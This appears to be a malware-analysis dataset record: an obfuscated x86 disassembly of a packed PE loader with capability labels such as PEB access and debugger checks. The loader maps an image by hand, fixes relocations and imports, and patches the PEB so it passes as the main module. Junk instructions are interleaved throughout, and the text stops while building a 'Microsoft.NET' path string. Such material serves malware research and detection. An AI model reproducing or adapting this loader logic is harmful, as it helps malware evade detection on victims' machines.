Function at 0x40b000
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Create thread
Encode data using base64
Enumerate pe sections
Get number of processors
Get process heap flags
Get process heap force flags
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
rol ebx, 0x48
rcl edx, 0xb9
ror eax, 0xc
imul esi
or edi, 0x65
dec ebx
inc ebx
neg ebx
bswap edx
mov esi, 0x61
rol eax, 0xd1
inc eax
inc eax
inc edi
rol edi, 0x3d
rcl edx, 0x42
not ebx
add ebx, 0x69
not ebx
bswap esi
and esi, 0x65
neg edx
mov esi, 0xa5
and ebx, 0xea
sub ebx, 0xad
sbb esi, 0x9f
dec eax
add eax, 0xde
imul esi
rcl edx, 0x88
ror edi, 0xca
bswap edx
neg edi
add edx, 0x1d
sub ebx, 0x36
rol eax, 0x28
not eax
inc eax
not ebx
ror edi, 0x3f
inc eax
rcr esi, 0xa7
inc esi
inc edi
rol esi, 0x4f
sbb esi, 0x40
sub edx, 0xf0
and edx, 0xa0
or esi, 0xfb
neg edi
or edx, 0xf0
sub eax, 0xc8
rol edx, 0x26
or edi, 0xc4
not edx
mov ebx, 0xe5
rcr esi, 0xe2
and edi, 0xd3
dec ebx
not ebx
ror eax, 0x25
neg eax
sbb eax, 0x99
rcl ebx, 0xc7
inc edx
mov ebx, 8
rcr edx, 0xb4
or edx, 0xc9
imul edx
dec eax
bswap esi
mov edi, 0x23
and edi, 0xb8
imul edx
inc eax
bswap esi
add edx, 0x86
neg edi
sub edi, 0xbd
neg ebx
imul edx
or ebx, 0x6c
bswap eax
or eax, 0xf
or ebx, 0xb9
add eax, 0xcb
add edx, 0x16
mov edi, 0xc0
not esi
sbb eax, 0xf6
dec esi
rcr ebx, 0x15
mov edx, 0x1c
inc edx
and ebx, 0x14
add edx, 0xdb
ror eax, 0xbc
sbb edi, 0xb0
sub eax, 0xc5
inc ebx
not esi
sub esi, 0x3d
sbb edi, 0xbe
and esi, 0xdf
add esi, 0xa0
inc esi
add eax, 0x18
and edi, 0x9b
sbb ebx, 0x9c
inc edx
neg edi
rcr edi, 0xe0
dec edx
bswap ebx
add edi, 0x95
ror eax, 0x8f
add edx, 0xfd
rol ebx, 0x32
add ebx, 0xa
ror ebx, 0x4a
rol edx, 0xc6
rcl ebx, 0xee
neg eax
ror edi, 0x63
bswap esi
ror ebx, 0x71
and esi, 0xc2
bswap esi
add edi, 0xd6
inc esi
sub edi, 0x75
add edi, 0xab
dec eax
inc edi
add esi, 0x9d
and edx, 0x55
sub edi, 0x57
inc esi
bswap esi
rcl edx, 0x64
ror edi, 0x23
rcr esi, 0xed
rcl esi, 0xa4
mov edi, 0x6b
bswap edi
not eax
ror eax, 5
sub ebx, 0x8d
not edi
dec esi
add edx, 0x5e
rcl edx, 0x91
sub esi, 0x4e
inc eax
rcr ebx, 0x88
imul edi
imul esi
inc edx
not ebx
add edx, 0x5b
imul edx
imul edi
sbb eax, 0xfa
not eax
or esi, 0xcb
dec ebx
rcr ebx, 0x33
sub edi, 0x2b
rol edi, 0x77
dec esi
ror ebx, 0x22
imul edi
dec eax
imul edi
imul edx
ror esi, 0x35
imul ebx
and edx, 0x90
add eax, 0xe3
add edi, 0x2e
dec eax
sub esi, 0x59
inc esi
not edx
rcl edx, 0x12
add eax, 0x55
not ebx
imul edx
add esi, 0x5d
ror edx, 0x4b
imul ebx
imul edi
not esi
mov edx, 0x80
or esi, 0xcd
not eax
sbb ebx, 0x39
sbb eax, 1
add esi, 0x89
dec edi
push 0x52200
push 0x410008
call fcn.00401000
add esp, 8
mov dword [ebp + 8], 0x410008
not esi
inc edi
not edi
rol eax, 0x1e
imul edi
or edi, 0xf1
rol edi, 0xc2
neg edx
bswap eax
sub eax, 0x42
inc eax
or edx, 0x5f
bswap edx
sub edi, 0x72
sub edi, 0x41
neg edx
ror ebx, 0x6d
rcr eax, 0x64
not edx
inc edi
rol edi, 0x66
and edi, 0xa3
dec ebx
not edi
not eax
bswap eax
dec edi
ror esi, 0x9b
dec ebx
sbb edx, 0x30
ror eax, 0x80
inc edi
mov eax, 0x5f
imul esi
inc edx
not esi
neg esi
sbb esi, 0x77
bswap esi
bswap eax
neg esi
inc eax
bswap esi
imul eax
inc esi
imul edx
neg esi
dec esi
dec edi
add edx, 0x91
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x90]
cmp dword [eax], 0x4550
je 0x40b330
mov eax, 1
jmp 0x40c973
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0xa4]
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x40b363
mov dword [ebp - 0x110], 0
jmp 0x40b372
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x110], edx
push 4
push 0x3000
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0xb8], 0
jne 0x40b3ba
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [eax + 0x34]
je 0x40b3ba
mov eax, 2
jmp 0x40c973
sbb esi, 0x95
sbb ebx, 6
dec ebx
or eax, 0xed
neg edi
bswap edi
neg ebx
inc eax
neg edx
sbb esi, 0xd3
sbb edi, 0xa8
mov eax, 0x7f
mov edi, 0x18
sbb edx, 0xb7
dec edx
dec ebx
dec ebx
dec edi
sbb ebx, 0xe4
bswap edx
sub edi, 0xb7
not esi
ror esi, 0xa1
not ebx
sub edi, 0xc3
not esi
ror edi, 0xee
neg edi
dec edi
imul edx
mov edi, 0x83
rcr edx, 0x93
dec ebx
add edx, 0xd6
sub edx, 0x80
rol eax, 0xec
and ebx, 0x17
inc edi
inc ebx
sbb esi, 0x1a
rol ebx, 9
mov edi, 0x27
and eax, 0xd4
imul edx
dec ebx
dec eax
not ebx
sbb esi, 0x8d
neg esi
rol edx, 0xa2
push 0x400
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call fcn.00401230
add esp, 0xc
or ebx, 0x72
sub edx, 0xaf
rcr esi, 0xbf
sbb ebx, 0x7d
neg esi
sbb eax, 1
neg esi
ror ebx, 0x54
not edx
imul eax
mov ebx, 0x48
rol eax, 0xe5
rcr edx, 0x32
rcr eax, 0x29
neg eax
rcr eax, 0xe3
and edx, 0x5e
bswap eax
sub edx, 0x55
rcr edx, 0x2d
inc ebx
rol ebx, 0xb4
add ebx, 0x82
ror ebx, 0xaa
mov edi, 7
rcl edi, 0x9c
sub edi, 0xe
bswap esi
imul ebx
inc edi
or ebx, 0xb7
not esi
rcr ebx, 1
sub edx, 0x27
dec edi
inc esi
dec edx
bswap edx
not edi
sub ebx, 0xc7
neg edx
neg esi
inc eax
or edx, 0x44
sbb edx, 0xd0
bswap esi
inc edi
add eax, 0x5d
inc ebx
rcl edx, 0x38
dec edx
rcl ebx, 0xe4
imul ebx
ror edi, 0xdc
dec eax
rcr edi, 0x98
bswap ebx
add eax, 0xa5
neg edx
ror ebx, 0x19
imul ebx
inc ebx
neg edx
bswap eax
sub esi, 4
rcl edx, 0x89
ror esi, 0x4a
not esi
and ebx, 0xbe
inc edi
and edi, 0xed
add eax, 0xc3
and edx, 0x71
and ebx, 0x4b
dec edx
bswap edx
inc edx
imul ebx
add edi, 0xb3
add eax, 0xd8
ror esi, 0x58
inc eax
sbb edx, 0x15
ror edi, 0xf
imul ebx
rol eax, 0x6c
sub ebx, 0x32
and esi, 0x80
sbb eax, 0x1d
dec edi
rcr edx, 0x56
mov ebx, 0xf8
dec edi
not edi
imul esi
or edx, 0x16
sbb eax, 0x62
sub esi, 0xcb
inc edx
ror edi, 0x69
add esi, 0x5c
bswap ebx
sbb esi, 0x86
rcr esi, 0x94
mov edx, 0xc0
bswap eax
dec edi
neg edx
dec edx
mov edi, 0xaf
sub ebx, 0xaf
rcr esi, 0x42
dec edx
dec ebx
neg esi
inc eax
and esi, 0xd0
inc eax
imul edx
ror esi, 0x4d
inc edx
and eax, 0xc3
neg edx
sub edx, 0x42
and eax, 0x42
not eax
rcr esi, 0x55
rcl ebx, 5
neg edx
ror eax, 0xf2
rcl edi, 5
and eax, 0x1e
rcr edx, 0xdc
sbb edi, 0xca
sub edi, 0xe8
or esi, 0x40
sbb edx, 0x5c
inc esi
ror esi, 0x8a
neg ebx
rcr edi, 0x9a
bswap eax
sub esi, 0xc2
not eax
rol eax, 0x81
rcr ebx, 0x1a
add ebx, 0xf5
not eax
and esi, 0xa0
bswap eax
not edx
dec esi
rcr edi, 0xc1
dec edx
inc edx
add esi, 0x2a
neg esi
bswap edi
neg ebx
bswap esi
inc eax
neg esi
bswap esi
imul edi
mov edx, 0x2e
inc edi
ror edi, 0x5e
rol esi, 0x1b
sbb ebx, 0x9f
not edx
imul eax
mov ebx, 0x1e
not esi
ror edx, 0xf3
mov eax, 0x2f
not ebx
sbb edx, 0x6b
neg edi
or ebx, 0x36
or ebx, 0x9a
not ebx
sbb esi, 0xd8
not edi
neg edi
not esi
ror eax, 0x1e
rcl edx, 0xeb
dec esi
add eax, 0x4a
inc esi
not eax
add esi, 0x45
mov eax, 0xf3
imul edi
rol edi, 1
neg esi
or edi, 0xca
bswap esi
bswap ebx
bswap edx
not eax
ror eax, 0xb3
add ebx, 0x44
inc edx
neg esi
neg esi
neg edx
rol edi, 0x36
rcr edi, 0x78
rol edx, 0x2f
inc edx
inc esi
dec edx
sbb esi, 0x8d
imul edx
inc edi
neg edx
rcl esi, 0xff
or ebx, 0xc9
imul eax
rcr ebx, 0xaa
sub edx, 9
bswap esi
mov eax, 0xf3
ror esi, 7
neg ebx
neg edi
bswap eax
rcl edx, 0xb1
sub ebx, 0xc6
bswap eax
rol edx, 0xa7
imul ebx
imul edi
imul eax
rcl eax, 0x5b
neg esi
and esi, 0x88
ror edi, 0x23
sbb edi, 0x5e
sub eax, 0x82
dec edx
sbb edx, 0xbf
not edi
neg ebx
and eax, 0xb3
mov esi, 0xf3
sbb eax, 0x59
not eax
not edi
mov ecx, dword [ebp - 0x90]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x90]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xc8], 0
jmp 0x40b761
mov edx, dword [ebp - 0xc8]
add edx, 1
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0x90]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0xc8], ecx
jge 0x40b7c2
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 0x10]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401230
add esp, 0xc
jmp 0x40b752
sbb eax, 0x81
ror esi, 0x6c
ror esi, 0x5b
imul edx
mov edi, 0xf3
mov ebx, 0x9b
rcr edi, 0x97
mov eax, 0x12
sbb ebx, 0x4e
dec edx
bswap edi
not edx
bswap eax
rcr eax, 0x2a
bswap esi
and esi, 0x1a
not edi
or edi, 0x38
neg edi
bswap eax
inc edx
dec edi
rcl edx, 0xd
neg edi
ror ebx, 0x24
mov esi, 0xed
sbb edx, 0x7d
and edi, 0xfc
bswap eax
dec eax
ror edi, 0x95
not eax
inc edi
mov eax, 0x21
dec ebx
bswap eax
dec edx
or edx, 3
not edi
sub esi, 8
not ebx
dec edx
imul ebx
neg eax
inc edi
rcr edi, 0x3d
bswap esi
or edx, 0x8c
imul ebx
dec eax
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
cmp eax, dword [edx + 0x34]
je 0x40b979
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0xbc]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xd4], 0
mov ecx, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xb8]
jae 0x40b979
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ecx + 4]
sub edx, 8
shr edx, 1
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xcc]
add eax, 8
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xe4], 0
jmp 0x40b8ee
mov ecx, dword [ebp - 0xe4]
add ecx, 1
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0xdc]
jge 0x40b953
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
sar ecx, 0xc
and ecx, 3
je 0x40b942
mov edx, dword [ebp - 0xe0]
movzx eax, word [edx]
and eax, 0xfff
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
and ecx, 0xfff
mov eax, dword [ebp - 0xd8]
mov dword [eax + ecx], edx
mov ecx, dword [ebp - 0xe0]
add ecx, 2
mov dword [ebp - 0xe0], ecx
jmp 0x40b8df
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd4]
add eax, dword [edx + 4]
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0xcc], ecx
jmp 0x40b88a
mov esi, 0x2a
sub edi, 0x36
bswap ebx
not esi
neg esi
not esi
rcr ebx, 0x6a
not ebx
or ebx, 0x88
not edx
dec esi
and edi, 0x73
imul edi
rcr edi, 0xf9
inc esi
dec edi
imul edi
and eax, 0x95
add edx, 0x14
rcl ebx, 0x88
imul eax
mov eax, 0xec
dec edx
dec ebx
rcl ebx, 0x5a
bswap eax
and edi, 0xa1
rol edi, 0x84
ror eax, 0xd9
rcl eax, 0xfc
rcr edi, 0x78
and ebx, 0xf1
rcr eax, 0x5c
rcr edx, 0xd2
imul edx
mov esi, 0xa9
ror esi, 0x54
sbb eax, 0x56
bswap eax
imul edx
sbb eax, 0xbc
inc eax
mov edx, 0x93
rcl ebx, 0xfb
inc eax
dec ebx
not ebx
bswap edi
and eax, 0x48
bswap edx
inc edx
imul edx
neg ebx
bswap edx
not eax
neg ebx
not edi
rcl edi, 0xf0
inc esi
rcl edx, 0xee
add edi, 0x2a
neg ebx
mov edx, 0xb7
sub esi, 0x7d
and esi, 0x5c
not eax
add eax, 0xef
inc edx
ror ebx, 0x98
rcl ebx, 0x93
and ebx, 0xc4
add eax, 0x5f
rcr edx, 0x72
mov ebx, 0xf3
rol edx, 0x26
inc edx
imul edx
rol eax, 0x63
sub esi, 0xf8
sbb esi, 0x12
not eax
inc edi
dec edx
rcl edx, 0
add edx, 0xc7
not edi
not eax
neg eax
imul ebx
add eax, 0xe4
mov esi, 0x41
rcr ebx, 0x62
and ebx, 0xf4
neg esi
imul edx
imul esi
imul edx
dec eax
mov edx, 0x88
rcr eax, 0xc5
mov edi, 0xb0
dec esi
rcl edx, 0x60
bswap edx
sbb edi, 0xca
and eax, 0x13
sub edx, 0x93
imul esi
bswap edi
or edx, 0x2e
sbb edx, 0xde
and ebx, 0xe3
bswap ebx
bswap esi
not esi
ror edi, 0x1f
inc edi
neg ebx
dec eax
imul edi
rol esi, 0x10
sbb edi, 0x96
and ebx, 0xe3
rcr eax, 0x72
mov eax, 0x2c
rcl eax, 0xff
bswap eax
imul edx
ror esi, 0x48
neg edi
rol edx, 0x3b
inc edx
mov esi, 0x24
or esi, 0xcc
imul edx
rol edi, 0x2b
rol ebx, 0x3f
sbb eax, 0xc9
or esi, 0xed
imul ebx
dec eax
bswap edx
or esi, 0xda
sbb edx, 0xc3
dec edi
dec esi
bswap edx
bswap edi
and ebx, 0x10
imul edi
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x80]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xe8], 0
jmp 0x40bb62
mov ecx, dword [ebp - 0xe8]
add ecx, 1
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
cmp dword [eax + edx + 0x10], 0
je 0x40bca0
mov ecx, dword [ebp - 0xe8]
imul ecx, ecx, 0x14
mov edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jne 0x40bbb9
jmp 0x40bb53
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xf8], 0
jmp 0x40bbf3
mov edx, dword [ebp - 0xf8]
add edx, 1
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf0]
cmp dword [ecx + eax*4], 0
je 0x40bc9b
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
movzx ecx, word [eax + edx*4]
push ecx
mov edx, dword [ebp - 0xec]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jne 0x40bc6e
mov eax, dword [ebp - 0x100]
add eax, 2
push eax
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xfc]
mov dword [ecx + edx*4], eax
jmp 0x40bbe4
jmp 0x40bb53
mov dword [ebp - 0x104], 0
jmp 0x40bcbb
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x90]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x104], eax
jge 0x40bdd9
mov dword [ebp - 0x108], 0x40
mov ecx, dword [ebp - 0x104]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x9c]
mov eax, dword [edx + ecx + 0x24]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x40bd29
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x40bd29
mov eax, dword [ebp - 0x10c]
and eax, 0x20000000
je 0x40bd29
mov dword [ebp - 0x108], 0x40
jmp 0x40bd90
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x40bd51
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x40bd51
mov dword [ebp - 0x108], 4
jmp 0x40bd90
mov eax, dword [ebp - 0x10c]
and eax, 0x40000000
je 0x40bd78
mov ecx, dword [ebp - 0x10c]
and ecx, 0x20000000
je 0x40bd78
mov dword [ebp - 0x108], 0x20
jmp 0x40bd90
mov edx, dword [ebp - 0x10c]
and edx, 0x40000000
je 0x40bd90
mov dword [ebp - 0x108], 2
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 8]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401250
add esp, 0x10
jmp 0x40bcac
mov esi, 0x31
sbb edi, 0x30
mov edx, 0x28
or ebx, 0x3c
sub edi, 0x14
add edi, 0x37
sub edx, 0x89
and edx, 0xc4
and esi, 0xa4
sub edx, 0x94
bswap eax
ror esi, 0x58
inc eax
and ebx, 0x80
mov edi, 0x64
add esi, 0x64
rol eax, 0x9d
neg edi
rcr esi, 0xda
or eax, 0xc4
ror edx, 0x9b
rol edx, 0xea
sbb esi, 0xd7
ror edx, 0x40
mov esi, 0xa6
imul edx
rcr edx, 0x2f
dec esi
dec edx
sub eax, 0x62
neg eax
neg eax
bswap edi
or edx, 0x25
dec esi
dec esi
dec esi
add ebx, 0xe6
or edi, 0xee
sub esi, 0xef
inc edi
mov ebx, 0xa0
inc edx
neg esi
dec ebx
dec eax
add edi, 0x9f
inc esi
and ebx, 0x27
dec ebx
and ebx, 0x9c
sub edi, 0xde
rol edx, 0xa4
sub esi, 0xb7
imul ebx
bswap edx
rol edx, 0x2f
sub ebx, 0xf8
bswap edi
not edi
sub ebx, 0x4c
add edx, 0x1f
or edi, 0x65
ror ebx, 0xe3
not eax
or eax, 0xf
neg edx
rcr ebx, 0x2d
sbb esi, 0xba
ror esi, 0x60
dec ebx
sbb eax, 0xe9
rcl edx, 0x95
inc eax
dec ebx
imul edx
imul edx
dec edx
rcl esi, 0x69
neg edi
sbb esi, 0x44
sub ebx, 0x1c
bswap eax
rcr edi, 0x49
dec edx
or edx, 0xbe
inc edx
rcr esi, 0x48
not eax
bswap eax
not esi
inc edi
neg eax
rcl edi, 0xee
not esi
neg edx
ror esi, 0x59
sub esi, 0xf2
dec edi
ror edi, 0xde
inc edi
rcr esi, 0x8d
bswap edi
neg esi
mov ebx, 0x73
bswap esi
or edi, 0xb7
inc eax
inc edi
sbb ebx, 0xff
neg edx
not eax
ror esi, 0xb1
add eax, 0x38
not eax
or edx, 0x6a
sub esi, 0xd8
dec eax
mov edi, 0x57
neg ebx
dec edi
sub edx, 0xeb
inc eax
rcl edx, 0x13
sub ebx, 0xfa
rcr edx, 0x41
not edx
mov esi, 0x98
bswap edx
rcl ebx, 0xe8
not esi
neg edi
sub edx, 0x59
inc edx
add edx, 0x19
or edx, 0xb8
rcr eax, 0x18
and edx, 5
bswap esi
not edx
bswap esi
or edi, 0xce
sub edi, 0x23
dec ebx
inc eax
not edi
sbb edi, 0xbc
sbb edi, 0xa7
rol esi, 0xad
inc eax
mov edx, dword fs:[0x30]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
sub eax, 8
mov dword [ebp - 0x98], eax
sbb esi, 0xae
sbb ebx, 0xd6
imul esi
sbb edx, 0x42
neg edi
imul eax
sub eax, 0x86
ror eax, 0xd1
imul eax
and ebx, 0x48
add esi, 0x85
inc ebx
bswap edx
mov edi, 0x60
neg esi
not eax
neg eax
not edi
inc edx
add ebx, 0x8f
mov esi, 0xa9
dec ebx
inc edx
sub esi, 0x3b
inc ebx
add edi, 0x86
sbb edi, 0xec
rol esi, 0xa2
dec ebx
not edx
rcl edi, 0
sbb edi, 0xd4
rcr edx, 0xa5
neg esi
and edx, 0xf1
bswap eax
or edi, 0x83
inc ebx
rcl edi, 0xfa
sub edi, 0xc
dec edi
neg edi
not edi
neg edx
dec edi
rol ebx, 0x28
ror edi, 0x9b
sub edi, 0x94
add ebx, 0x40
inc esi
mov edi, 0x59
inc esi
bswap ebx
add edi, 0x6d
inc edx
inc ebx
mov esi, 0x4a
dec edx
bswap esi
not esi
rcr edi, 0x5c
sbb ebx, 0xab
neg edx
dec esi
or eax, 0xed
dec ebx
imul ebx
neg eax
bswap edx
neg edi
not esi
bswap esi
rol edi, 0xc1
not edi
inc esi
bswap eax
add edi, 0x9a
rol edx, 0x3a
sub ebx, 0x2d
add edi, 0x6c
inc edx
bswap esi
imul esi
neg esi
ror edi, 0xb8
rcr edx, 0xf7
not esi
dec esi
bswap edx
inc esi
ror eax, 0x44
neg eax
rcl edi, 0x42
bswap edx
dec edx
dec edi
or eax, 0x1f
rcr edx, 0x18
dec edi
bswap eax
sub esi, 0x5d
bswap esi
or eax, 0x13
add edx, 2
not ebx
neg esi
neg eax
ror esi, 0x6b
dec ebx
dec ebx
inc ebx
imul esi
imul ebx
not edx
dec edi
rcr eax, 0x94
mov edx, 0x90
inc edx
ror eax, 0xaf
not esi
inc eax
add esi, 0xbc
dec edx
sbb esi, 0x58
and ebx, 7
or eax, 0xae
neg edi
sub ebx, 0xa9
bswap eax
inc edx
not eax
rcl ebx, 0x9e
rcr ebx, 0x9a
sbb eax, 0xfa
not ebx
mov eax, 0xd8
inc edi
neg esi
add ebx, 0x94
bswap edi
bswap eax
ror edi, 0x41
not eax
imul edx
bswap edx
or esi, 0xcd
dec ebx
add edi, 0xf9
or edi, 0xa9
bswap esi
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x8c]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x8c]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 0x98]
add edx, 0x24
mov dword [ebp - 0xa4], edx
and edi, 0x12
not eax
mov ebx, 0xc2
or ebx, 0x85
sub eax, 0x37
or edx, 0xd4
sub eax, 0x8a
not ebx
imul edx
bswap edi
bswap ebx
not esi
neg eax
sbb edi, 0x45
dec eax
imul edx
neg edx
dec edi
rcl edi, 0x8c
rol eax, 0xd7
imul eax
mov edx, 0xb7
imul ebx
dec edx
not edi
inc edx
dec esi
add eax, 0xc6
inc eax
sub ebx, 0x3e
mov edi, 8
bswap eax
sbb eax, 0x50
neg edx
rol esi, 0xe
inc edx
mov esi, 0x22
neg eax
add esi, 0xa1
add edi, 0x5c
dec eax
neg ebx
not eax
dec edi
neg esi
inc edx
sub ebx, 0x37
sub esi, 0x36
dec esi
rcr edi, 0xf4
imul edx
bswap edx
neg eax
add ebx, 0x44
inc edx
dec eax
rcl ebx, 0xc3
dec esi
not edi
inc edx
sbb edx, 0x91
rcl esi, 0xe6
inc edi
and eax, 0xe5
sub eax, 0xcf
neg eax
bswap ebx
add esi, 0x11
or eax, 0x97
rol eax, 0x23
inc ebx
neg eax
not ebx
rol eax, 0x58
bswap edi
mov edi, 0xdc
sub ebx, 0x4b
dec edx
add edx, 0x71
not edx
sub edx, 0x84
bswap esi
dec eax
not eax
mov esi, 0x69
dec eax
neg edx
neg eax
add ebx, 0x2e
mov edi, 0x2a
bswap eax
rcr edi, 0x1b
ror edx, 0xb3
mov eax, 0x39
rcl ebx, 0xad
dec edi
rcr ebx, 0x99
rcl edi, 0xe
sbb ebx, 0x92
neg edx
imul edx
mov eax, 0xda
inc edi
rcr esi, 0xcd
dec edi
add edx, 0xe7
dec edi
mov edx, 0xbc
and eax, 0x98
and edx, 0xeb
add eax, 0x19
sbb edi, 0x64
ror edx, 0xdc
rcr edi, 0x84
rcl ebx, 0x9c
bswap eax
inc ebx
rol edx, 0xd9
rcr edi, 0x9f
imul esi
bswap edx
dec eax
inc edi
neg edi
not esi
or ebx, 0xc9
sbb ebx, 0xc6
and edi, 0xeb
rcl esi, 0xae
neg edi
not ebx
not esi
neg eax
or edi, 0x90
inc edx
not edi
sbb edx, 0xd0
add ebx, 0xd0
or ebx, 0xdc
sub ebx, 0xdb
sub edx, 0x28
inc esi
ror eax, 0x25
rcl ebx, 0xb2
not eax
or ebx, 0xf5
dec edi
imul edx
sbb edi, 0xda
bswap esi
mov eax, 0x43
mov word [ebp - 0x88], ax
mov ecx, 0x3a
mov word [ebp - 0x86], cx
mov edx, 0x5c
mov word [ebp - 0x84], dx
mov eax, 0x5c
mov word [ebp - 0x82], ax
mov ecx, 0x57
mov word [ebp - 0x80], cx
mov edx, 0x69
mov word [ebp - 0x7e], dx
mov eax, 0x6e
mov word [ebp - 0x7c], ax
mov ecx, 0x64
mov word [ebp - 0x7a], cx
mov edx, 0x6f
mov word [ebp - 0x78], dx
mov eax, 0x77
mov word [ebp - 0x76], ax
mov ecx, 0x73
mov word [ebp - 0x74], cx
mov edx, 0x5c
mov word [ebp - 0x72], dx
mov eax, 0x4d
mov word [ebp - 0x70], ax
mov ecx, 0x69
mov word [ebp - 0x6e], cx
mov edx, 0x63
mov word [ebp - 0x6c], dx
mov eax, 0x72
mov word [ebp - 0x6a], ax
mov ecx, 0x6f
mov word [ebp - 0x68], cx
mov edx, 0x73
mov word [ebp - 0x66], dx
mov eax, 0x6f
mov word [ebp - 0x64], ax
mov ecx, 0x66
mov word [ebp - 0x62], cx
mov edx, 0x74
mov word [ebp - 0x60], dx
mov eax, 0x2e
mov word [ebp - 0x5e], ax
mov ecx, 0x4e
mov word [ebp - 0x5c], cx
mov edx, 0x45
mov word [ebp - 0x5a], dx
mov eax, 0x54
mov word [ebp - 0x58], ax
mov ecx, 0x5c
mov word [ebp - 0x56], cx
